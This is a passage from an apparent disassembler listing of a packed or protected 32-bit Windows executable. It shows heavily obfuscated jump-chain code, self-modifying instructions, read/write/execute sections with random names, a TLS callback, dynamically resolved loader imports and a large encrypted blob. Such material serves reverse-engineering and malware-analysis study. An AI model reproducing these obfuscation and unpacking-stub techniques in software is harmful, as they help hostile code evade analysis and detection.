16h and ebx, 2E58C515h jns loc_75068A loc_75750E: ; CODE XREF: sub_74A71A-173Ej jmp loc_749F9A ; END OF FUNCTION CHUNK FOR sub_74A47B ; --------------------------------------------------------------------------- loc_757513: ; CODE XREF: _0z4jwtox:00748185j jmp loc_752445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753DDE loc_757518: ; CODE XREF: _0z4jwtox:loc_7462ABj ; sub_753DDE+17j xor edi, 7B5336Bh push offset sub_753F1A jmp nullsub_248 ; END OF FUNCTION CHUNK FOR sub_753DDE ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_757528 proc near ; CODE XREF: sub_745A78:loc_74E142j retn sub_757528 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_757529: ; CODE XREF: sub_756826:loc_7450AAj ; sub_74B1F1-189Bj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75752E: ; CODE XREF: sub_747C22-2ACAj jmp loc_7488AD ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- cmp eax, 131EC58Ch jmp loc_748E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_75753E: ; CODE XREF: sub_74C670+871Ej lea eax, loc_75763E mov byte ptr [eax], 0C3h jmp loc_75763E ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E1D loc_75754C: ; CODE XREF: sub_748E1D+E822j call sub_7557E7 ; END OF FUNCTION CHUNK FOR sub_748E1D ; START OF FUNCTION CHUNK FOR sub_75422B loc_757551: ; CODE XREF: sub_75422B+29j jmp loc_74FCD5 ; END OF FUNCTION CHUNK FOR sub_75422B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B5B loc_757556: ; CODE XREF: sub_755B5B-1C1Bj jmp loc_74E181 ; END OF FUNCTION CHUNK FOR sub_755B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DC58 loc_75755B: ; CODE XREF: sub_74DC58+18j jmp loc_754F28 ; END OF FUNCTION CHUNK FOR sub_74DC58 ; --------------------------------------------------------------------------- loc_757560: ; CODE XREF: _0z4jwtox:00755242j push edx and ecx, ebx ; START OF FUNCTION CHUNK FOR sub_75043C loc_757563: ; CODE XREF: sub_75043C:loc_755230j add esi, 0B261712Eh mov [esi], eax xchg eax, [esp-4+arg_0] push offset sub_74EA60 loc_757573: ; DATA XREF: .data:off_42CB34o jmp loc_746975 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_757578: ; CODE XREF: sub_74A96E:loc_7486B1j mov [edi], eax xchg ecx, [esp+0] mov edi, ecx pop ecx pushf jmp loc_749D08 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_757586: ; CODE XREF: sub_74E451:loc_751F3Dj mov eax, [eax-18h] and eax, 7 call sub_751EFF loc_757591: ; CODE XREF: _0z4jwtox:loc_746676j jmp loc_755D3C ; END OF FUNCTION CHUNK FOR sub_74E451 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752F76 loc_757597: ; CODE XREF: sub_752F76+3j jmp loc_74B8F0 ; END OF FUNCTION CHUNK FOR sub_752F76 ; --------------------------------------------------------------------------- locret_75759C: ; CODE XREF: _0z4jwtox:0074A6F8j ; _0z4jwtox:loc_750A8Cj retn ; --------------------------------------------------------------------------- loc_75759D: ; CODE XREF: _0z4jwtox:0074B0FEj jmp loc_746670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B7B loc_7575A2: ; CODE XREF: sub_748B7B+9j jmp loc_74B544 ; END OF FUNCTION CHUNK FOR sub_748B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_7575A7: ; CODE XREF: sub_752737-855Fj popf or ebp, 4E420385h sbb ebp, ebx jmp loc_74F6BA ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- db 66h, 0B8h, 0D7h dword_7575B8 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak ; sub_7570E0+13w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7575BC: ; CODE XREF: sub_7473D1+85FDj jmp locret_752D10 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- db 0B5h, 0D7h, 7Ah dword_7575C4 dd 0 ; sub_754FC6+Co ... dword_7575C8 dd 7C800000h ; sub_74B74C+4w ... dword_7575CC dd 37932BB6h, 8C331B56h, 6CD823C5h ; sub_754FC6-8461o db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_7575D9: ; CODE XREF: sub_749306:loc_7554A3j ; sub_748C0D+E31Aj jmp loc_753920 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7575DE: ; CODE XREF: sub_752D11-7C48j jmp sub_754E36 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_7575E3: ; CODE XREF: sub_7491FD-2BEFj jmp loc_74CC4B ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_7575E8: ; CODE XREF: sub_74C8DA+5C86j mov [ebp-10h], eax cmp dword ptr [ebp-4], 0 jz loc_75276D jmp loc_74FFC5 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_7575FA: ; CODE XREF: sub_74BFE0-A22j cmp edx, eax jmp loc_746282 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_757601: ; CODE XREF: sub_746C5E+6F7Cj ror eax, 1Dh push edx push 2847148Ah pop edx sub edx, 0EC2EC206h and edx, 0FAAD9778h sub edx, 6A61CB36h add edx, 0A6617537h jmp loc_74B2A4 ; END OF FUNCTION CHUNK FOR sub_746C5E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_757629: ; CODE XREF: _0z4jwtox:0074E1FDj jmp loc_74F02F ; --------------------------------------------------------------------------- loc_75762E: ; CODE XREF: _0z4jwtox:loc_753AB7j and esi, edx or ebx, ecx pop ebx jmp loc_74AE56 ; --------------------------------------------------------------------------- jmp ds:off_41F1A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E1D loc_75763E: ; CODE XREF: sub_7557E7:loc_74C02Cj ; sub_74C670+AED7j ... pop edx jno loc_75754C mov eax, [esp-8+arg_4] push esi jmp loc_748FE1 ; END OF FUNCTION CHUNK FOR sub_748E1D ; --------------------------------------------------------------------------- mov eax, 1F1D4A60h push ebx mov ebx, edx xchg ebx, [esp] push 4418B4E8h jmp loc_74CE7E ; --------------------------------------------------------------------------- mov eax, [esp] push edx call sub_74F7B1 loc_75766C: ; CODE XREF: _0z4jwtox:00746D59j jmp loc_745000 ; =============== S U B R O U T I N E ======================================= sub_757671 proc near ; CODE XREF: _0z4jwtox:00748B1Ap ; _0z4jwtox:00753190j arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg ebx, [esp-4+arg_0] push offset sub_7545E0 sub_757671 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747AEC loc_75767D: ; CODE XREF: sub_747AEC:loc_74B20Dj jmp loc_74D00D ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_757682: ; CODE XREF: sub_752FC5+3732j call sub_752BBF ; END OF FUNCTION CHUNK FOR sub_752FC5 ; START OF FUNCTION CHUNK FOR sub_754CBF loc_757687: ; CODE XREF: sub_754CBF-9E03j ; sub_754A2Bj jnz loc_750014 xchg ebx, [ebp+0] test ecx, 56600E8Bh jmp loc_75000B ; END OF FUNCTION CHUNK FOR sub_754CBF ; --------------------------------------------------------------------------- loc_75769B: ; CODE XREF: _0z4jwtox:00754216j sub esi, 685B8C52h and esi, 6C147E6Ah test esi, 800000h jmp loc_748217 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7576B3: ; CODE XREF: _0z4jwtox:00751302j jmp loc_747ED6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750B5C loc_7576B8: ; CODE XREF: sub_750B5C+7j jmp loc_753D9D ; END OF FUNCTION CHUNK FOR sub_750B5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_7576BD: ; CODE XREF: _0z4jwtox:0074C5A9j ; sub_74CF35:loc_750AB3j xor edx, 43F7F508h add edx, ebp add edx, 38880B70h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_7573A4 jmp loc_7529A6 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- loc_7576DC: ; CODE XREF: _0z4jwtox:loc_7564CAj xchg edx, [esp] jmp sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_7576E4: ; CODE XREF: sub_748B52:loc_75604Aj ; sub_748B52+D502j rol ecx, 1 add ecx, 0EF2F710Bh mov [ecx], eax pop ecx lea eax, nullsub_13 loc_7576F5: ; CODE XREF: _0z4jwtox:00746379j jmp loc_74E3E8 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E1D loc_7576FA: ; CODE XREF: sub_748E1D:loc_746A3Ej xor ecx, 20C86EB9h sub ecx, 94192FD3h add ecx, 0A337C5FBh xchg ecx, [esp+0] jmp loc_75763E ; END OF FUNCTION CHUNK FOR sub_748E1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B042 loc_757714: ; CODE XREF: sub_74B042+1Ej xor eax, 5C285B5Bh sub eax, 33DE59C8h add eax, 0A02759C3h add eax, ebp call sub_74B928 ; END OF FUNCTION CHUNK FOR sub_74B042 ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_75772D: ; CODE XREF: sub_74ECEF+10B0j ; _0z4jwtox:00750A97j jmp loc_74AFEC ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE55 loc_757732: ; CODE XREF: sub_74DE55+12j jmp loc_748FC7 ; END OF FUNCTION CHUNK FOR sub_74DE55 ; --------------------------------------------------------------------------- loc_757737: ; CODE XREF: _0z4jwtox:00750369j mov [eax], edi ; =============== S U B R O U T I N E ======================================= sub_757739 proc near ; CODE XREF: sub_748A22+4029p xchg edx, [esp+0] pop edx mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_74D586 push offset loc_74DD31 jmp loc_74A807 sub_757739 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_757754: ; CODE XREF: _0z4jwtox:loc_74CA91j jnz loc_74639F loc_75775A: ; CODE XREF: _0z4jwtox:0074E88Cj jmp loc_74D98F ; --------------------------------------------------------------------------- pop ebx jg nullsub_210 xor edi, ecx jmp loc_74C7CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_75776D: ; CODE XREF: sub_747C39:loc_751E55j jz loc_74E214 jmp loc_74CCAA ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_757778: ; CODE XREF: sub_7543C5:loc_7543D4j jz loc_74F6F3 jmp loc_745ECD ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_757783: ; CODE XREF: sub_74AAC1+5F4j ; sub_74AAC1:loc_74E97Bj mov eax, 0DD960900h call sub_746E93 xor eax, 0B4CB980Fh push ecx jmp loc_750EFC ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_757799 proc near ; CODE XREF: _0z4jwtox:00749742p ; _0z4jwtox:0074B68Fj ; FUNCTION CHUNK AT 0075449D SIZE 0000000B BYTES xchg edi, [esp+0] pop edi cmp eax, ecx pop ecx loc_7577A0: ; CODE XREF: _0z4jwtox:loc_754677j jnz loc_749C84 jmp loc_75449D sub_757799 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749D35 loc_7577AB: ; CODE XREF: sub_749D35+Fj pop esi ; END OF FUNCTION CHUNK FOR sub_749D35 ; =============== S U B R O U T I N E ======================================= sub_7577AC proc near ; CODE XREF: sub_74F08D-28C7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0075252C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756BE7 SIZE 0000001B BYTES xchg edx, [esp-4+arg_0] pop edx mov eax, [esp+0] push ebx mov ebx, edx call sub_74A83D loc_7577BB: ; CODE XREF: sub_74ADC0+Cj jmp loc_756BE7 sub_7577AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7470E8 loc_7577C0: ; CODE XREF: sub_7470E8+1Cj jmp loc_74E4D0 ; END OF FUNCTION CHUNK FOR sub_7470E8 ; --------------------------------------------------------------------------- loc_7577C5: ; CODE XREF: _0z4jwtox:0074DF04j jns loc_747C8B mov ebp, [eax] jmp sub_750887 ; --------------------------------------------------------------------------- cmp edi, 0D3AAF32Bh jmp loc_7508BE ; --------------------------------------------------------------------------- loc_7577DD: ; CODE XREF: _0z4jwtox:00755F99j cdq ; =============== S U B R O U T I N E ======================================= sub_7577DE proc near ; CODE XREF: sub_749EC9+7p ; FUNCTION CHUNK AT 007565A4 SIZE 00000009 BYTES xchg eax, [esp+0] pop eax push edx push ecx push 0E68A2806h pop ecx jmp loc_7565A4 sub_7577DE endp ; --------------------------------------------------------------------------- loc_7577EF: ; DATA XREF: sub_746640+DECCo mov edx, [edx] push esi push 0EE36995Bh pop esi rol esi, 1Dh jmp loc_7495BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_757800: ; CODE XREF: sub_747736:loc_748206j push 9B317540h pop ebx rol ebx, 0Ah or ebx, 5773633Ah cmp ebx, 0D7E40E7Dh jmp loc_74D4A4 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_75781A: ; CODE XREF: sub_74E762-67CAj pop edx ror eax, 1 add eax, 53498B15h push esi push 0BE2D446Eh pop esi or esi, 0FF321672h cmp esi, 29000490h jmp loc_7564B6 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_75783B: ; CODE XREF: sub_74F73B:loc_74A5D9j jz loc_749F44 jle loc_749E60 ja loc_75388E jg loc_748A9C cdq jmp loc_749F3E ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- loc_757859: ; CODE XREF: _0z4jwtox:00749418j sub edi, 1D1C310Fh jp loc_75528C jmp loc_756EDA ; --------------------------------------------------------------------------- add ebx, 0E720A14Bh adc edx, esi jmp sub_746FBD ; --------------------------------------------------------------------------- loc_757877: ; CODE XREF: _0z4jwtox:loc_74D83Ej jz loc_749731 adc ebp, eax loc_75787F: ; CODE XREF: _0z4jwtox:00745E63j jmp loc_74972F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749229 loc_757884: ; CODE XREF: sub_749229-3FB8j call sub_746C25 push offset loc_74DA08 jmp loc_74765C ; END OF FUNCTION CHUNK FOR sub_749229 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_757893: ; CODE XREF: sub_7571A1:loc_75677Aj ; _0z4jwtox:00756795j or ebx, 0C08C246Bh add ebx, 2A28405h mov [ebx], eax pop ebx lea eax, sub_7571A1 jmp loc_755BDA ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- loc_7578AD: ; CODE XREF: _0z4jwtox:00752247j ; _0z4jwtox:loc_753C36j push esi mov esi, eax xchg esi, [esp] lea eax, dword_746E88 push eax push eax mov edx, eax jmp loc_745E3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_7578C2: ; CODE XREF: sub_746640:loc_74BBB4j add ecx, esi jmp loc_751288 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_7578C9: ; CODE XREF: sub_7543C5-856Fj test ecx, 4C0467AAh jmp loc_756418 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747892 loc_7578D4: ; CODE XREF: sub_747892:loc_752E9Fj mov [ebp+var_4], eax push 3FA014C7h pop eax add eax, 8B1C7458h and eax, 0B3F7DF14h add eax, 0DE7DA4F2h jmp loc_755402 ; END OF FUNCTION CHUNK FOR sub_747892 ; =============== S U B R O U T I N E ======================================= sub_7578F4 proc near ; CODE XREF: _0z4jwtox:00751F85p ; _0z4jwtox:007534EFj ; FUNCTION CHUNK AT 007454D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748445 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00755CA2 SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx jnz loc_748445 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_755CA2 sub_7578F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub edx, ebx jmp sub_747109 ; --------------------------------------------------------------------------- dw 2B91h dd 0CE9A4829h, 8A6FB8Fh, 177F4306h, 0CBF8h, 1B6h dup(0) _0z4jwtox ends ; Section 6. (virtual address 00358000) ; Virtual size : 0002A000 ( 172032.) ; Section size in file : 0002A000 ( 172032.) ; Offset to raw data for section: 00358000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0xtwbvzc segment para public 'CODE' use32 assume cs:_0xtwbvzc ;org 758000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 80h, 35h, 0 align 8 dd 0FFFFFFFFh, 35803Ch, 3580B4h, 358108h, 0 dd 0FFFFFFFFh, 3580E8h, 358104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_7580B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_7580B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_7580BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_7580C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_781A9E+6Cr dword_7580C4 dd 7C809A51h, 7C809AE4h, 35804Ch, 358060h, 358070h, 358084h ; resolved to->KERNEL32.VirtualAlloc ; DATA XREF: _0xtwbvzc:00781B6Eo dd 358094h, 3580A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h, 7E45058Ah, 3580F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: _0xtwbvzc:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _0xtwbvzc:TlsCallbacks_ptro dd 0 ; --------------------------------------------------------------------------- push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_75813E: ; CODE XREF: _0xtwbvzc:00758155j lodsb shr al, 1 cmp al, 74h jnz short loc_758154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_758154: ; CODE XREF: _0xtwbvzc:00758144j dec ecx jg short loc_75813E pop ecx pop esi retn ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset sub_401000 dd 0D800434Ah, 1, 717E0000h, 3CA420D5h, 1334CC09h, 5AAF0C89h dd 91405845h, 1BBDB9D2h, 7FE4DFC3h, 0B8F8B67Fh, 810BE67h dd 0A27A0C84h, 0F8502020h, 3D002B44h, 0C78D48D4h, 3FC0B056h dd 0A591C2DDh, 0D4634203h, 9FEBE9Fh, 35BE881h, 0B459595h dd 426367F1h, 33FB0221h, 92093223h, 0F04C60F8h, 8702CDD7h dd 81D4B559h, 0F6A346FEh, 0BCAD2444h, 45186C1Ch, 2D84A04Ah dd 2E087C12h, 0BD9AC81Ah, 0B341C4A9h, 0ABF5C92Ah, 6C249404h dd 9D5EE6B2h, 99F6090Ah, 380DD50Eh, 4527EB25h, 0A6005E53h dd 5766119Dh, 114BCFCFh, 2B4427AAh, 4372E7F5h, 0A2110826h dd 2E90C1CCh, 0F4B4C2F0h, 0B54070A4h, 7A99F5E4h, 0C6D66BF5h dd 0C9C02B41h, 0F9CD8E40h, 0F8338202h, 0F8214307h, 506489A2h dd 4DE0F84Eh, 9510B519h, 0D4315AA0h, 61016CA9h, 230337D3h dd 26B9BCE6h, 6E3DA68Dh, 6C582296h, 62EE1750h, 54A27B89h dd 9AA2B08Bh, 9C62CC1Dh, 6C2C86B5h, 2873FCC2h, 0FBD004B0h dd 0D2068042h, 442BBh, 60314EA6h, 7713AB0h, 85F7EB05h dd 96D88900h, 81992838h, 60827EDFh, 0FCD4DCC0h, 0B45ED9F7h dd 4890986Ch, 0F32AD3h, 0C05140FBh, 8F80B089h, 0C5A2203h dd 0B2D9AC19h, 9091A4BEh, 0A87A143h, 0EBAA30FAh, 80FAE605h dd 910F5A36h, 0D1A8C38Ah, 28E95CE2h, 99384549h, 9AAFB7C9h dd 88123798h, 0D46BD183h, 0F143213Eh, 7115A580h, 82348EF4h dd 43353B6h, 6AC50690h, 0D29BF150h, 837FBF58h, 200A83EDh dd 22A08032h, 3ED94C5h, 461344F2h, 0F118200Ah, 0E6E278B1h dd 1AADCC80h, 1B2DA550h, 0F44EFC0Ch, 13C2514Ah, 8BF2AA7Bh dd 0F834B7FAh, 7A7E0377h, 55DBEDD0h, 0E17ADFE9h, 417EF381h dd 0F6032A20h, 0F1C165D6h, 0AEDE2Fh, 0AEC3F3C4h, 937C166Eh dd 0CFF8283h, 4140C2E9h, 2E88065h, 0C039EC04h, 5772772Ah dd 64608CC4h, 48180D46h, 3188C8B6h, 65AA3B00h, 0ECB0C680h dd 0FCDE40B2h, 0F655722Ch, 9847F048h, 0D5349694h, 0D16D01DEh dd 0F8115ABEh, 0B31A43B7h, 11659CCAh, 0BC5A2A58h, 0F8FC8485h dd 88C8A607h, 16EB1F12h, 0DA32D4A1h, 0AA2022B2h, 0C5ACC5A5h dd 0E06B6EA6h, 0B39EA131h, 101A2278h, 44875D25h, 0F45F2C41h dd 0E6C1B00h, 8CE5F8D7h, 1C7F21Fh, 53893832h, 2D6A9276h dd 61097397h, 585C4AACh, 2C40786Eh, 0A3086189h, 0B0DA38B2h dd 40F18E17h, 0C31529E4h, 0BC2B6A4Fh, 5C3A704Ah, 9256AB52h dd 0AB8EFD6Fh, 2015A756h, 30120492h, 7F013A1Ah, 0DF88C631h dd 48E705AAh, 4801205Ah, 22B76119h, 58444A5Eh, 8CB34157h dd 993CA983h, 2AC11B84h, 0D8B90354h, 8A5DCB28h, 0A80D8C2Ch dd 3D0A6076h, 0CA0F6026h, 0DFFF6592h, 56F8E4CFh, 0A6F15FAFh dd 0C1A96E4Ah, 5F22791h, 0DED1B55Ah, 2341B38Dh, 71B63FCFh dd 0DC6F71BBh, 0CE0AF54h, 0C958B13Bh, 0BF979EB4h, 6EAC71D7h dd 94125AFBh, 4CCA5BFAh, 3273248Ah, 5D648E04h, 1C1B7DEEh dd 4CD1576h, 0C6C868ECh, 1B2C20C3h, 8B5D2ECFh, 19E57FFAh dd 1A77790Fh, 78265D33h, 57A8E8E6h, 0A75C83E9h, 0E575626Eh dd 0DE44D150h, 77559E5Ch, 0FF225146h, 375EC0C8h, 0ACD11E8Ch dd 61955D6Ah, 67F76311h, 20A10BC6h, 7A18AD4Bh, 7D0AD5A5h dd 0AA79F4E8h, 6C5CBB82h, 1E059A1Fh, 836AD553h, 602080B8h dd 0B4ACF07Dh, 7D256960h, 5D0E0526h, 0E0743352h, 7CA2F8ACh dd 0A23821F8h, 0C6829415h, 0B432F481h, 0E355F830h, 368F2F69h dd 23099D4Bh, 0ECC408h, 67BE05F2h, 98F045Dh, 0FD716025h dd 0E7A445FFh, 3055E600h, 74998A1Dh, 0DD8EF525h, 108D39A4h dd 0A56C0F8Eh, 0D8160360h, 37AE4C77h, 8B68AB0Fh, 96AF30DEh dd 3F38AB95h, 0C247ED18h, 569D2C16h, 1F7FE964h, 2BF4E80Ah dd 137BCE22h, 7C0506D6h, 4551EA8Eh, 4EFB36D0h, 7E91551Ah dd 891535C6h, 5362A840h, 1152FC31h, 1842F961h, 144FB47Fh dd 2AEA5109h, 65009CB1h, 33F801B1h, 0D0829147h, 8E49E592h dd 60B79452h, 645512D2h, 40587049h, 0B44B9468h, 94B4841Bh dd 52AB14E1h, 30B2C78Bh, 338B8942h, 296482AEh, 13C338C6h dd 0FA35AF8h, 93733C8Eh, 71B4A174h, 719F0BFAh, 390BEC07h dd 2656D845h, 416D93ECh, 88AB8E64h, 245155A3h, 4C2A8E74h dd 3A2078BDh, 1F0677B1h, 83039C22h, 4A9984CBh, 0D7D887D9h dd 5222DF00h, 6114BC39h, 0D70349A4h, 0C4D8F622h, 75F808DEh dd 0AFB1FA39h, 6E7D2F0Ch, 99C86BC2h, 0A3D1102Ah, 88B6458Dh dd 0D0FAE49Ch, 62F11534h, 24360B8Fh, 116846DBh, 24BC8878h dd 90F4825Eh, 7F888979h, 0A90F7A68h, 6E2E9227h, 33CE82F0h dd 0A04245C1h, 87054Eh, 0E6F22968h, 0D0E06604h, 5DE49DA1h dd 8B712E4Bh, 25C07BF0h, 18BF108Ah, 646045BFh, 19B944Dh dd 925A3735h, 4C33DC5Ch, 8BA76508h, 36B51045h, 23D8B741h dd 43E14501h, 0DBD887C1h, 0CABA7255h, 10F08FDCh, 0D1517E77h dd 0F4F555D8h, 0CB927255h, 4FBE3236h, 9D18A9B0h, 0FC9D88E4h dd 0EB92D22Dh, 1BF0F1AFh, 1A638721h, 301186A1h, 0FA23F54Fh dd 4D4524FCh, 0A61CED20h, 5C9C907h, 7D14A735h, 34F07A6h dd 0D4C9DA81h, 0BC06B81Fh, 0FB489F6Eh, 83389616h, 33B672E4h dd 0BB175862h, 268E0709h, 3BDA3D56h, 938BF5DFh, 5991B2E0h dd 0E4BF96CEh, 0C3D76E01h, 87311135h, 4D87B3B5h, 5AA3E91Dh dd 711F425Bh, 809BF153h, 0A8853C1Bh, 9AE51F47h, 1C73116Ah dd 0B459EF73h, 0D823EBA9h, 0A7F59FB4h, 4AF3EA06h, 4597313h dd 0C86738D8h, 79169B80h, 0C7D00556h, 9AA6DE26h, 3604A9B8h dd 4AECF9A4h, 71C90E01h, 2568214Ah, 0B4D70005h, 0DAE92E63h dd 0EA9EAA82h, 0FCF0FC3h, 276797A5h, 0C224C2E6h, 10BA6A00h dd 0AEF63D60h, 0B8FDF610h, 513B81C3h, 6B9E3477h, 0E0F9D749h dd 31828DF0h, 3E039728h, 5EF59596h, 6565C3C1h, 8593C59Bh dd 79C0CAF5h, 4240C0B3h, 0BAC4198Ah, 0C7ED61E4h, 0C18316BCh dd 9B3DDCF5h, 1038401Bh, 0B7A06F53h, 999CFDFBh, 62B4EF5Ah dd 5568152Fh, 0E7D588A2h, 0F64DBE28h, 0E53E5EFBh, 605E747Eh dd 1057087Dh, 887ABAE3h, 0D7048476h, 9DBE789h, 9F54F154h dd 7D11E08Fh, 719E0C22h, 0CE20CFB3h, 286F0018h, 47F0FDC6h dd 0C417E80h, 4E69081Ah, 0B69B7D20h, 0F7960C8h, 1E301A12h dd 4BED2581h, 3DE1529Dh, 0F3F097C0h, 5418D604h, 64398750h dd 67BCCFCAh, 887B5C6Ah, 279BA8Bh, 5F1EBDEBh, 0E260DE64h dd 0DAFF04Dh, 4D785DCFh, 0C4FE69AFh, 2268A8B9h, 0A3C1A744h dd 0BACE8B7Dh, 0B2F7D2F6h, 3369362Eh, 54A03A5h, 89DF2FD6h dd 0CA69F71Dh, 0AA44B47Ah, 0E22E639Fh, 21B891C8h, 493BF2A2h dd 6AF9DA40h, 0DE020CD5h, 67E4D3EBh, 8DDEA340h, 56545A4Bh dd 7A52B8C1h, 8282B2BEh, 